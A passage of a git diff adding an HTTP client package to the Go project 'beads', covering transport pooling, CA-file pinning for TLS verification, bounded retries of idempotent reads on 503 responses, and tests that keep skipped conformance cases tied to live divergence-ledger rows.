in +// ca.go) — applied to every http-backend target, not only CA-configured ones, +// since the RTT cost of an under-pooled host is identical either way. Built +// once and reused for the life of the process: nothing about it depends on +// per-target state, so there is nothing to key a cache on and no reason to +// pay Clone() on every dial. +func baselineTransport() http.RoundTripper { + baselineTransportOnce.Do(func() { + transport := http.DefaultTransport.(*http.Transport).Clone() //nolint:errcheck // http.DefaultTransport is always *http.Transport + transport.MaxIdleConnsPerHost = maxIdleConnsPerHost + baselineTransportRT = transport + }) + return baselineTransportRT +} + +// DefaultDialer is the WireDialer the enterprise distribution registers. +// +// It performs no handshake: design D6 makes the context fetch lazy, on the first +// post-baseline dispatch, so opening a workspace to run `bd ready` costs one +// round trip rather than two. The store owns that fetch and caches it. +func DefaultDialer(opts DialOptions) WireDialer { + return func(_ context.Context, target Target) (WireClient, error) { + return Dial(target, opts) + } +} + +// RegisterDefaultDialer installs the production transport. Init-time wiring +// only, the same rule as RegisterWireDialer itself. +func RegisterDefaultDialer(opts DialOptions) { + RegisterWireDialer(DefaultDialer(opts)) +} + +// Handshake dials target once and returns its gated startup snapshot. +// +// It is the connect path's probe: `bd connect` verifies a server before it +// writes anything, and it must do so without opening a store, because the +// workspace it is about to describe may not select this backend yet. A project +// mismatch comes back as *wire.ProjectMismatchError, which names both ids plus +// the server's own database and repo root. +func Handshake(ctx context.Context, target Target, opts DialOptions) (*apigen.ContextResponse, error) { + conn, err := Dial(target, opts) + if err != nil { + return nil, err + } + return conn.ServerContext(ctx) +} + +// DialOptionsForFile returns base with HTTPClient set to a transport scoped +// to EXACTLY caFile, bypassing CAFileEnv and any sidecar entirely. +// +// It exists for `bd connect --ca-file X`: X must be verified for itself, +// before it is written anywhere, regardless of what BEADS_HTTP_CA_FILE +// currently resolves to for the same host — otherwise a `bd connect` run with +// the env var set to a good CA and --ca-file pointed at a wrong one would +// verify against the env's CA while writing the flag's unverified one to the +// sidecar. Passing the returned DialOptions (with Target.CAFile left "" for +// this call) to Handshake or Dial makes the verification match exactly what +// the flag names. +func DialOptionsForFile(caFile string, base DialOptions) (DialOptions, error) { + transport, err := TransportForFile(caFile) + if err != nil { + return DialOptions{}, err + } + base.HTTPClient = &http.Client{Transport: transport, Timeout: wire.DefaultTimeout} + // This transport was just built from exactly caFile, deliberately + // bypassing CAFileEnv and any sidecar. DialWith must not re-resolve the + // CA from the ambient environment for this call, nor refuse the + // Transport just assigned above as an unrecognized caller-supplied one — + // an empty override reports "no CA configured" to DialWith's default + // branch, which is exactly right: this HTTPClient's Transport is already + // final. See DialOptions.caOverride. + empty := resolvedCA{} + base.caOverride = &empty + return base, nil +} + +// DialOptionsForTarget returns base with CA resolution pinned to EXACTLY +// target.CAFile, bypassing CAFileEnv entirely — never consulting it, not even +// to prefer the sidecar over a non-matching pattern. +// +// It exists for backend/http's embedder door (newDialer), which must compute +// this FRESH for every target it dials: an embedder juggling several targets +// in one process must not have any of them silently renarrowed to a private +// CA, or blocked from a legitimate one, because an unrelated invocation +// exported CAFileEnv for a completely different target. Unlike +// DialOptionsForFile, this does not build a transport itself — base.HTTPClient +// is left exactly as the caller supplied it (nil, a client with a nil +// Transport for DialWith to inject into on a copy, or a client whose +// Transport the caller already built via TransportFor(target)), and DialWith +// resolves and injects, or recognizes and accepts, from this override alone. +func DialOptionsForTarget(target Target, base DialOptions) DialOptions { + resolved := resolvedCA{} + if caFile := strings.TrimSpace(target.CAFile); caFile != "" { + resolved = resolvedCA{path: caFile, label: "ca_file"} + } + base.caOverride = &resolved + return base +} diff --git a/internal/httpclient/dial_test.go b/internal/httpclient/dial_test.go new file mode 100644 index 000000000..2de4d70d7 --- /dev/null +++ b/internal/httpclient/dial_test.go @@ -0,0 +1,221 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dial_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/http/httptrace" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// TestBaselineTransportRaisesMaxIdleConnsPerHost is finding 9: the ceiling +// TransportFor already applies to a CA-scoped target must ALSO apply to an +// ordinary target with no CA configured, since the RTT cost of an +// under-pooled host is the same either way. +func TestBaselineTransportRaisesMaxIdleConnsPerHost(t *testing.T) { + rt := baselineTransport() + transport, ok := rt.(*http.Transport) + if !ok { + t.Fatalf("baselineTransport returned %T, want *http.Transport", rt) + } + if transport.MaxIdleConnsPerHost != maxIdleConnsPerHost { + t.Errorf("MaxIdleConnsPerHost = %d, want %d", transport.MaxIdleConnsPerHost, maxIdleConnsPerHost) + } +} + +// TestBaselineTransportIsSharedAcrossCalls confirms baselineTransport is built +// once and reused (sync.Once), not cloned per dial: a long-lived process must +// not leak a fresh transport, and its connection pool, on every dial of a +// target that never configured a CA. +func TestBaselineTransportIsSharedAcrossCalls(t *testing.T) { + first := baselineTransport() + second := baselineTransport() + if first != second { + t.Error("baselineTransport returned a different instance on a second call; it should be built once and reused") + } +} + +// TestDialTransportUsesBaselineWhenNoCAConfigured is finding 9's unit test on +// the exact seam DialWith uses when the caller leaves HTTPClient nil: an +// unconfigured resolvedCA must produce the shared baselineTransport, not a +// freshly cloned one, and it must carry the raised ceiling. +func TestDialTransportUsesBaselineWhenNoCAConfigured(t *testing.T) { + rt, err := dialTransport(resolvedCA{}) + if err != nil { + t.Fatalf("dialTransport: %v", err) + } + if rt != baselineTransport() { + t.Error("dialTransport did not return the shared baselineTransport for an unconfigured CA") + } +} + +// TestDialWithNoCARaisesMaxIdleConnsPerHost is finding 9's end-to-end case: a +// target with no CA configured, dialed through DialWith with HTTPClient left +// nil, still reaches a real server through the raised-ceiling baseline +// transport. +func TestDialWithNoCARaisesMaxIdleConnsPerHost(t *testing.T) { + clearCAEnvironment(t) + server := &contextServer{body: v0Context("proj-baseline")} + srv := server.start(t) + target := Target{BaseURL: mustParseURL(t, srv.URL)} + + snap, err := Handshake(context.Background(), target, DialOptions{}) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + if snap.ProjectId != "proj-baseline" { + t.Errorf("project_id = %q, want proj-baseline", snap.ProjectId) + } +} + +// TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost covers +// the OTHER shape DialWith's own doc comment promises the raised ceiling for +// ("Every dial also gets the raised MaxIdleConnsPerHost ceiling... whether or +// not a CA is configured"): a caller that supplies its own *http.Client with +// a nil Transport, dialed against a target with no CA configured. The +// opts.HTTPClient == nil branch above (TestDialWithNoCARaisesMaxIdleConnsPerHost) +// does not exercise this branch at all — a caller-supplied client with a nil +// Transport used to fall through to http.DefaultTransport's own unraised +// MaxIdleConnsPerHost of 2 instead, silently exempting this one shape from +// the doc's "every dial" promise, and forcing a fresh connection (a fresh TLS +// handshake, over a real network) on most of a concurrent burst even once the +// pool is warm. +// +// This asserts it end to end, through wire.Client.Do rather than by reaching +// into the transport this package's *Conn hands wire.New (wire.Client keeps +// it unexported, and rightly so): a burst of concurrent requests through the +// resulting Conn, traced with httptrace the way +// TestTransportForRaisesMaxIdleConnsPerHostForBursts traces a raw +// *http.Transport, must settle into reusing every connection once the pool +// has gone idle — which the default ceiling of 2 cannot do at this burst +// size. +func TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost(t *testing.T) { + clearCAEnvironment(t) + server := &contextServer{body: v0Context("proj-supplied-client")} + srv := server.start(t) + target := Target{BaseURL: mustParseURL(t, srv.URL)} + + supplied := &http.Client{} + conn, err := DialWith(target, nil, DialOptions{HTTPClient: supplied}) + if err != nil { + t.Fatalf("DialWith: %v", err) + } + if supplied.Transport != nil { + t.Error("DialWith mutated the caller's own *http.Client in place; it must inject onto a copy") + } + + const burst = 8 + req := wire.Request{Op: "test.burst", Method: http.MethodGet, Path: "/v0/test-burst"} + + runBurst := func() int64 { + var wg sync.WaitGroup + var newConns int64 + for i := 0; i < burst; i++ { + wg.Add(1) + go func() { + defer wg.Done() + reused := make(chan bool, 1) + trace := &httptrace.ClientTrace{ + GotConn: func(info httptrace.GotConnInfo) { reused <- info.Reused }, + } + ctx := httptrace.WithClientTrace(context.Background(), trace) + if err := conn.Do(ctx, req, &apigen.ContextResponse{}); err != nil { + t.Errorf("Do: %v", err) + return + } + if !<-reused { + atomic.AddInt64(&newConns, 1) + } + }() + } + wg.Wait() + return newConns + } + + if warm := runBurst(); warm == 0 { + t.Fatal("first burst reused connections that could not have existed yet") + } + + var steady int64 + for attempt := 0; attempt < 5; attempt++ { + time.Sleep(50 * time.Millisecond) + steady = runBurst() + if steady == 0 { + break + } + } + if steady != 0 { + t.Errorf("repeat burst dialed %d/%d fresh connections after warm-up; the supplied-client-nil-Transport branch is not getting the raised MaxIdleConnsPerHost ceiling", steady, burst) + } +} + +// --- finding 2: DialOptionsForFile --- + +// TestDialOptionsForFileBypassesEnvEntirely is finding 2's core unit: a +// DialOptions built from an explicit file must verify against EXACTLY that +// file, never BEADS_HTTP_CA_FILE, even when the env is set to a DIFFERENT, +// otherwise-valid CA for the same host. This is what lets `bd connect +// --ca-file X` check X for itself before writing it, regardless of what the +// env currently resolves to. +func TestDialOptionsForFileBypassesEnvEntirely(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-connect-check")} + u := wrong.startServer(t, h.handler()) + + // The env is set to a CA that would NOT verify this server; if + // DialOptionsForFile consulted it, the handshake below would fail for the + // wrong reason, or a matching-host env could mask the flag's own file + // entirely. + t.Setenv(CAFileEnv, u.Host+"="+right.writePEM(t)) + + opts, err := DialOptionsForFile(wrong.writePEM(t), DialOptions{}) + if err != nil { + t.Fatalf("DialOptionsForFile: %v", err) + } + // Target.CAFile is deliberately left empty, mirroring cmd/bd's connect + // verification call. + target := Target{BaseURL: u} + snap, err := Handshake(context.Background(), target, opts) + if err != nil { + t.Fatalf("Handshake verifying exactly the flag's CA file: %v", err) + } + if snap.ProjectId != "proj-connect-check" { + t.Errorf("project_id = %q, want proj-connect-check", snap.ProjectId) + } +} + +// TestDialOptionsForFileRefusesTheWrongCAEvenWithAGoodEnv is finding 2's exact +// regression scenario: "With the env var set to the good CA and --ca-file set +// to a wrong CA, connect succeeded" (the bug). DialOptionsForFile must make +// the handshake fail here, since --ca-file's own file is the wrong one. +func TestDialOptionsForFileRefusesTheWrongCAEvenWithAGoodEnv(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-should-not-verify")} + u := right.startServer(t, h.handler()) + + t.Setenv(CAFileEnv, u.Host+"="+right.writePEM(t)) + + opts, err := DialOptionsForFile(wrong.writePEM(t), DialOptions{}) + if err != nil { + t.Fatalf("DialOptionsForFile: %v", err) + } + target := Target{BaseURL: u} + _, err = Handshake(context.Background(), target, opts) + if err == nil { + t.Fatal("Handshake succeeded with --ca-file's own wrong CA, despite a good env CA for the same host; DialOptionsForFile must check exactly the flag's file") + } + if h.sawRequest() { + t.Error("server saw a request; TLS verification against the wrong CA should have failed first") + } +} diff --git a/internal/httpclient/dispatch.go b/internal/httpclient/dispatch.go new file mode 100644 index 000000000..8322da940 --- /dev/null +++ b/internal/httpclient/dispatch.go @@ -0,0 +1,113 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dispatch.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "time" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +const ( + // maxIdempotentRetries bounds how many times dispatch comes back to a busy + // server for one idempotent read. Three attempts total: a 503 is transient + // slot pressure, and a client that hammered past this would BE the contention + // it is waiting out. + maxIdempotentRetries = 2 + // baseRetryBackoff is the wait before the first retry when the server named no + // Retry-After. It doubles each attempt, capped at maxRetryBackoff. + baseRetryBackoff = 200 * time.Millisecond + // maxRetryBackoff caps a COMPUTED backoff. A server's own Retry-After is + // already bounded by wire.Options.MaxRetryAfter and is honored as it is given. + maxRetryBackoff = 5 * time.Second +) + +// dispatch is this store's ONE door to the wire, and the only place the +// two-speed policy of D6 is spelled. +// +// Every operation goes through Preflight first — the policy itself lives in the +// wire package, which knows that five baseline operations return immediately and +// that every other one forces the handshake and consults the advertised token. +// Putting the call here rather than at each role method is what makes "every +// dispatch site honors the two-speed policy" a property of the code rather than +// of a reviewer's memory: a role that wants to reach the server has no other +// route to it. +// +// It is also the one place that knows an operation's HTTP method, so the bounded +// 503 retry lives here: the wire layer bounds Retry-After and hands it back but +// never sleeps or resends, precisely because whether a 503 is safe to come back +// to is a question only the method answers, and only a GET's answer is yes. +// +// A store with no transport is a build-wiring fault (ErrNoTransport), not the +// user's: the workspace and the server may both be fine. +func (s *Store) dispatch(ctx context.Context, req wire.Request, out any) error { + if s.wire == nil { + return fmt.Errorf("%w: cannot dial %s", ErrNoTransport, s.target) + } + if err := s.wire.Preflight(ctx, req.Op); err != nil { + return err + } + + err := s.wire.Do(ctx, req, out) + // Only an idempotent GET is retried. A 503 can interrupt a non-idempotent + // write whose first attempt already committed before the server ran out of + // slots, so resending a POST/PATCH/DELETE could double-apply it — DELETE + // included, since forgetMemory is a mutation the wire happens to spell as one. + if req.Method != http.MethodGet { + return err + } + for attempt := 0; attempt < maxIdempotentRetries; attempt++ { + wait, retry := retryBackoff(err, attempt) + if !retry { + return err + } + if sleepErr := sleepWithContext(ctx, wait); sleepErr != nil { + // The caller's deadline won out mid-backoff. Surface the server's busy + // answer rather than the context error: "bd serve is busy" is the + // actionable diagnosis, and the deadline is downstream of it. + return err + } + err = s.wire.Do(ctx, req, out) + } + return err +} + +// retryBackoff reports whether err is a 503-class busy answer worth coming back +// to, and how long to wait first. It honors the server's already-bounded +// Retry-After when present, and otherwise backs off exponentially from +// baseRetryBackoff. A nil error, a non-ProblemError, or any non-retryable +// problem stops the loop. +func retryBackoff(err error, attempt int) (time.Duration, bool) { + var prob *wire.ProblemError + if !errors.As(err, &prob) || !prob.Retryable() { + return 0, false + } + if prob.RetryAfter > 0 { + return prob.RetryAfter, true + } + backoff := baseRetryBackoff << attempt + if backoff > maxRetryBackoff { + backoff = maxRetryBackoff + } + return backoff, true +} + +// sleepWithContext waits for d or until ctx is done, whichever comes first. A +// non-positive d is not a sleep at all, so it returns at once. +func sleepWithContext(ctx context.Context, d time.Duration) error { + if d <= 0 { + return nil + } + timer := time.NewTimer(d) + defer timer.Stop() + select { + case <-ctx.Done(): + return ctx.Err() + case <-timer.C: + return nil + } +} diff --git a/internal/httpclient/dispatch_test.go b/internal/httpclient/dispatch_test.go new file mode 100644 index 000000000..a297b5acb --- /dev/null +++ b/internal/httpclient/dispatch_test.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dispatch_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// busyThenOK answers with a 503 for the first busyCount Do calls and succeeds +// after, recording how many times it was dialed. It is the dispatch retry's +// double: a real server's slot pressure clears the same way. +type busyThenOK struct { + busyCount int + retryAfter time.Duration + calls int +} + +func (b *busyThenOK) do(_ context.Context, req wire.Request, _ any) error { + b.calls++ + if b.calls <= b.busyCount { + return &wire.ProblemError{ + Op: req.Op, + Status: http.StatusServiceUnavailable, + Err: wire.ErrBusy, + RetryAfter: b.retryAfter, + } + } + return nil +} + +func retryTestStore(t *testing.T, do func(context.Context, wire.Request, any) error) *Store { + t.Helper() + w := &fakeWire{ + res: &apigen.ContextResponse{}, + preflight: func(context.Context, string) error { return nil }, + do: do, + } + return New(testTarget(t), w, nil) +} + +func readRequest() wire.Request { + return wire.Request{Op: wire.OpListReadyWork, Method: http.MethodGet, Path: wire.PathReady} +} + +// TestDispatchRetriesIdempotentReadsOnBusy: a GET that a 503 turned away comes +// back, honors the server's Retry-After, and succeeds once the slot frees. +func TestDispatchRetriesIdempotentReadsOnBusy(t *testing.T) { + server := &busyThenOK{busyCount: 2, retryAfter: time.Millisecond} + s := retryTestStore(t, server.do) + + if err := s.dispatch(context.Background(), readRequest(), nil); err != nil { + t.Fatalf("dispatch: %v, want the retry to succeed", err) + } + if server.calls != 3 { + t.Errorf("Do called %d times, want 3 (one dial plus two retries)", server.calls) + } +} + +// TestDispatchCapsIdempotentRetries: a server that stays busy is not dialed +// forever. The bound is one dial plus maxIdempotentRetries, and the 503 is what +// the caller finally sees. +func TestDispatchCapsIdempotentRetries(t *testing.T) { + server := &busyThenOK{busyCount: 100, retryAfter: time.Millisecond} + s := retryTestStore(t, server.do) + + err := s.dispatch(context.Background(), readRequest(), nil) + if !errors.Is(err, wire.ErrBusy) { + t.Fatalf("dispatch = %v, want the busy error once the retries are spent", err) + } + if server.calls != 1+maxIdempotentRetries { + t.Errorf("Do called %d times, want %d (one dial plus the capped retries)", server.calls, 1+maxIdempotentRetries) + } +} + +// TestDispatchDoesNotRetryWrites: a non-idempotent write is dialed exactly once +// on a 503, because its first attempt may have committed before the server ran +// out of slots and a resend would double-apply it. +func TestDispatchDoesNotRetryWrites(t *testing.T) { + server := &busyThenOK{busyCount: 1, retryAfter: time.Millisecond} + s := retryTestStore(t, server.do) + + write := wire.Request{Op: wire.OpClaimIssue, Method: http.MethodPost, Path: "/v0/beads/issues/bd-1:claim"} + err := s.dispatch(context.Background(), write, nil) + if !errors.Is(err, wire.ErrBusy) { + t.Fatalf("dispatch = %v, want the busy error unretried", err) + } + if server.calls != 1 { + t.Errorf("a write was dialed %d times on a 503, want exactly 1", server.calls) + } +} + +// TestDispatchDoesNotRetryNonBusyReads: a read is retried only for the 503 busy +// class. A 500 fault is the same request earning the same answer, so it is not +// retried. +func TestDispatchDoesNotRetryNonBusyReads(t *testing.T) { + var calls int + s := retryTestStore(t, func(_ context.Context, req wire.Request, _ any) error { + calls++ + return &wire.ProblemError{Op: req.Op, Status: http.StatusInternalServerError, Err: wire.ErrServerFault} + }) + + err := s.dispatch(context.Background(), readRequest(), nil) + if !errors.Is(err, wire.ErrServerFault) { + t.Fatalf("dispatch = %v, want the server fault unretried", err) + } + if calls != 1 { + t.Errorf("a 500 was dialed %d times, want exactly 1", calls) + } +} + +// TestDispatchRetryStopsWhenTheContextIsDone: a caller whose deadline expires +// mid-backoff stops retrying and gets the server's busy answer, not a wait that +// outlives the request. +func TestDispatchRetryStopsWhenTheContextIsDone(t *testing.T) { + server := &busyThenOK{busyCount: 100, retryAfter: time.Hour} // never clears in time + s := retryTestStore(t, server.do) + + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Millisecond) + defer cancel() + + start := time.Now() + err := s.dispatch(ctx, readRequest(), nil) + if !errors.Is(err, wire.ErrBusy) { + t.Fatalf("dispatch = %v, want the busy error when the deadline cut the wait short", err) + } + if elapsed := time.Since(start); elapsed > time.Second { + t.Errorf("dispatch honored the hour-long Retry-After past the caller's deadline (%s)", elapsed) + } + if server.calls != 1 { + t.Errorf("Do called %d times; the deadline should have stopped the first backoff", server.calls) + } +} diff --git a/internal/httpclient/divergence_citation_gate_test.go b/internal/httpclient/divergence_citation_gate_test.go new file mode 100644 index 000000000..64a229770 --- /dev/null +++ b/internal/httpclient/divergence_citation_gate_test.go @@ -0,0 +1,160 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/divergence_citation_gate_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "strconv" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" +) + +// The invariant this gate holds is "nothing skips without a ledger row": every +// served-tier park calls skipKnownDivergence(t, , ...) naming the +// divergence-ledger id (encode/ledger.go) that says WHAT the wire cannot carry. +// +// Until now that binding was a STRING and nothing more. The row a park cites +// was checkable only by a reader who went and looked, so a row renamed or +// deleted in encode/ledger.go left its parks citing a coordinate that resolves +// to nothing — the exact drift the ledger's own RowByID panic and bijection +// gate exist to make impossible on the ENCODER side, but which the park side +// had no counterpart for. A park that cites a dead row still skips, still reads +// as "known divergence", and no test notices. +// +// This gate closes that gap by machine-binding each citation to a LIVE row. +// It parses the served test sources, collects every skipKnownDivergence park's +// cited id, and resolves each through the encoder's own lookup — the same +// RowByID a refusal raises through — failing on any id no live row carries. A +// park resolves here iff a refusal citing the same id would; the two can no +// longer disagree. +// +// It binds the row's KIND as well as its existence, because existence alone +// leaves the more likely rot: a row is far more often RETIRED than deleted, and +// a park citing a retired row resolves cleanly while skipping a case whose +// divergence upstream already closed. Retirement is the moment those cases must +// come back, so it is the moment this fails. +// +// It is deliberately UNTAGGED, for the reason divergence_test.go states about +// the helper it guards: the parks live behind //go:build cgo, but a gate that +// reads them as TEXT needs no build tag to do so, and one that carried the cgo +// tag would go blind in exactly the no-cgo build where a citation could rot +// unobserved. The encode package it resolves against is pure Go. +const parkHelperName = "skipKnownDivergence" + +// parkCitation is one skipKnownDivergence call site: the ledger row it cites and +// where it cites it, so a failure names the park rather than just the id. +type parkCitation struct { + row string + pos string +} + +func TestDivergenceParkCitationsResolveToLiveLedgerRows(t *testing.T) { + cites := collectParkCitations(t, ".") + if len(cites) == 0 { + // Finding nothing is itself a failure: the helper was renamed or moved + // out of this package and the gate now guards an empty set. + t.Fatalf("found no %s parks to bind; the helper was renamed or moved and this gate now guards nothing", parkHelperName) + } + for _, c := range cites { + row, ok := resolveLedgerRow(c.row) + if !ok { + t.Errorf("%s: %s parks on ledger row %q, which no live encoder-ledger row resolves (encode/ledger.go) — the row was renamed or deleted and this park now cites nothing", + c.pos, parkHelperName, c.row) + continue + } + // RESOLVING IS NOT ENOUGH, and the gap between the two is a park that + // keeps skipping forever. A row's KIND is what says whether the wire + // still cannot carry the thing: refuse and degrade are live divergences, + // and KindRetired means the divergence is GONE — upstream published the + // member, or the client started sending it. A case parked on a retired + // row is a case whose reason expired, and because the park is a + // t.Skipf it goes on reporting itself as a known divergence rather than + // as coverage that should have come back. Retiring a row is exactly when + // its parks must be re-run, so it is exactly when this has to fail. + if row.Kind == encode.KindRetired { + t.Errorf("%s: %s parks on ledger row %q, which is RETIRED — the divergence it cites no longer exists, so this case is skipping for a reason that expired. Unpark it (and delete the citation), or move the park onto the row that describes what still diverges", + c.pos, parkHelperName, c.row) + } + } +} + +// resolveLedgerRow returns the row an id names through the encoder's own lookup — +// the one every refusal raises through. +// +// RowByID panics on an unknown id, which encode/ledger.go documents as the +// correct severity for a refusal. The gate recovers it so a dead citation reads +// as a located test failure instead of a raw stack trace, and so one dead park +// does not hide the next. +func resolveLedgerRow(id string) (row encode.Row, ok bool) { + defer func() { + if recover() != nil { + row, ok = encode.Row{}, false + } + }() + return encode.RowByID(id), true +} + +// collectParkCitations reads the row every skipKnownDivergence park cites out of +// the sources rather than from a hand-kept list, for the reason the ledger's own +// gates are derived rather than restated: a second copy is a second thing that +// can be wrong. It scans this package's test files only, because the helper is +// package-private and a park elsewhere could not call it by bare name. +func collectParkCitations(t *testing.T, dir string) []parkCitation { + t.Helper() + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatalf("read %s: %v", dir, err) + } + fset := token.NewFileSet() + var cites []parkCitation + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), "_test.go") { + continue + } + path := filepath.Join(dir, entry.Name()) + file, err := parser.ParseFile(fset, path, nil, parser.SkipObjectResolution) + if err != nil { + t.Fatalf("parse %s: %v", path, err) + } + ast.Inspect(file, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + fn, ok := call.Fun.(*ast.Ident) + if !ok || fn.Name != parkHelperName { + return true + } + pos := fset.Position(call.Pos()).String() + // The signature is skipKnownDivergence(t, row, beadID, reason): the + // receiver comes first and the cited row is the second argument. + if len(call.Args) < 2 { + t.Errorf("%s: %s(...) has too few arguments to carry a ledger-row citation", pos, parkHelperName) + return true + } + lit, ok := call.Args[1].(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + // A citation the gate cannot read statically defeats the whole + // invariant: the row a park names has to be a fact this test can + // resolve, not one computed at runtime. + t.Errorf("%s: %s cites a non-literal ledger row (%T); the citation must be a string literal so it can be bound to a live row", + pos, parkHelperName, call.Args[1]) + return true + } + row, err := strconv.Unquote(lit.Value) + if err != nil { + t.Errorf("%s: cannot read ledger-row citation %s: %v", pos, lit.Value, err) + return true + } + cites = append(cites, parkCitation{row: row, pos: pos}) + return true + }) + } + return cites +} diff --git a/internal/httpclient/divergence_test.go b/internal/httpclient/divergence_test.go new file mode 100644 index 000000000..a3d625f44 --- /dev/null +++ b/internal/httpclient/divergence_test.go @@ -0,0 +1,35 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/divergence_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import "testing" + +// skipKnownDivergence parks one conformance case on the backend that cannot +// express what the leaf contract asserts. +// +// It takes BOTH coordinates a park has, because they answer different +// questions and neither implies the other: +// +// - row is the divergence-ledger id (encode/ledger.go). It says WHAT the wire +// cannot carry and is the join back to the reason, the design decision and +// the pin. It used to be spelled inside the reason prose, in parentheses, +// which made it unfindable by anything but a reader. +// - beadID names the bead that records the shape and owns its retirement. It +// says WHO unparks the case, which is a different fact from why it is +// parked: several rows retire with one bead, and one row can outlive the +// bead that found it. +// +// The literal "KNOWN DIVERGENCE" prefix is how `grep -r "KNOWN DIVERGENCE"` +// finds every parked case in the tree. Parking at the WIRING site rather than +// inside the shared Run function is what keeps the case honest elsewhere: it +// still runs, and still passes, on every backend that agrees. +// +// THIS FILE CARRIES NO BUILD TAG, and that is deliberate. Every call site today +// is cgo-tagged, because the served composition needs the embedded engine — but +// a helper declared behind the tag is a helper the no-cgo build cannot see, so +// the first untagged park would not compile. An unused function costs nothing; +// a declaration that has to move the day someone needs it costs a merge. +func skipKnownDivergence(t *testing.T, row, beadID, reason string) { + t.Helper() + t.Skipf("KNOWN DIVERGENCE %s (%s): %s", row, beadID, reason) +} diff --git a/internal/httpclient/encode/bijection_test.go b/internal/httpclient/encode/bijection_test.go index ee6389fd9..680a2b229 100644 --- a/internal/httpclient/encode/bijection_test.go +++ b/internal/httpclient/encode/bijection_test.go @@ -85,7 +85,8 @@ func TestEncoderTableClassifiesEveryRequestField(t *testing.T) { if !classified[name] { t.Errorf("%s.%s is populatable and UNCLASSIFIED.\n"+ "Add it to the %s table with a disposition, or refuse it with a divergence-ledger row.\n"+ - "An unclassified field is a filter this client would drop silently — see engdocs/design/http-client-backend.md D7 and D9 L12.", + "An unclassified field is a filter this client would drop silently — see L12 in the in-repo "+ + "divergence ledger, engdocs/design/http-divergence-ledger.md.", table.Source.Name(), name, tableName(table)) } } diff --git a/internal/httpclient/encode/encode.go b/internal/httpclient/encode/encode.go index 60fceeacf..43d61f55d 100644 --- a/internal/httpclient/encode/encode.go +++ b/internal/httpclient/encode/encode.go @@ -21,9 +21,11 @@ // stays hand-written is the value rendering, which is exactly what the // round-trip gate drives through the server's own decoder. // -// See engdocs/design/http-client-backend.md — D7 (the refusal taxonomy), D8 -// (the role dispositions and the refuse-not-drop enumeration), D9 (the -// divergence ledger), D11 (id resolution) and D12 (MaxRows). +// The refusal taxonomy, the role dispositions and refuse-not-drop +// enumeration, id resolution and MaxRows all trace back to the original +// (bd-enterprise-internal) design's decision log; the divergence ledger +// itself (D9 there) is reproduced in-repo at +// engdocs/design/http-divergence-ledger.md, generated from ledger.go below. package encode import ( diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index 23644ae43..a4729311c 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -13,11 +13,13 @@ import ( // The divergence ledger, v1. // -// engdocs/design/http-client-backend.md D9 states the discipline this file -// instantiates: "Every knowingly-degraded behavior is a ledger row with a -// pinned test... A degradation not in this table is a bug." The prose table -// lives in the design; this is the machine-readable copy the client actually -// consults, and it carries three populations rather than one: +// The original (bd-enterprise-internal) design's decision log, D9, states the +// discipline this file instantiates: "Every knowingly-degraded behavior is a +// ledger row with a pinned test... A degradation not in this table is a +// bug." That design doc is not included in this repository; this is the +// machine-readable copy the client actually consults, rendered to +// engdocs/design/http-divergence-ledger.md (see ledger_render.go), and it +// carries three populations rather than one: // // - The D9 rows themselves (L1-L18, with L17 deleted rather than skipped — // see the L-sequence note in designRows), which describe whole behaviors rather @@ -110,7 +112,10 @@ type Row struct { // Why is the reason the wire cannot carry it, or the reason the // degradation is the right answer. Why string - // SpecRow cites the decision in engdocs/design/http-client-backend.md. + // SpecRow cites the decision in the original design's decision log (D-rows + // and D9 L-row numbers; the log itself is not in this repository — a D9 + // L-row resolves in-repo to the same L-row in + // engdocs/design/http-divergence-ledger.md, generated from this file). SpecRow string // PinnedBy names the test that holds this row honest, or carries a // TODO() when the pinning test is another bead's deliverable. It is @@ -143,7 +148,7 @@ type Row struct { // TestEncoderHonorsEveryTableDisposition, // TestEncodedParametersRoundTripThroughTheServerDecoder, and friends); this // sentinel covers only the rows whose evidence is a layer S2 never touches. -const pinnedByS3Conformance = "TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline" +const pinnedByS3Conformance = "TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline" // Ledger returns divergence ledger v1, in citation order. // @@ -207,6 +212,10 @@ var ( tyCreateDep = reflect.TypeOf(issueops.CreateDependency{}) tyApplyCreateItem = 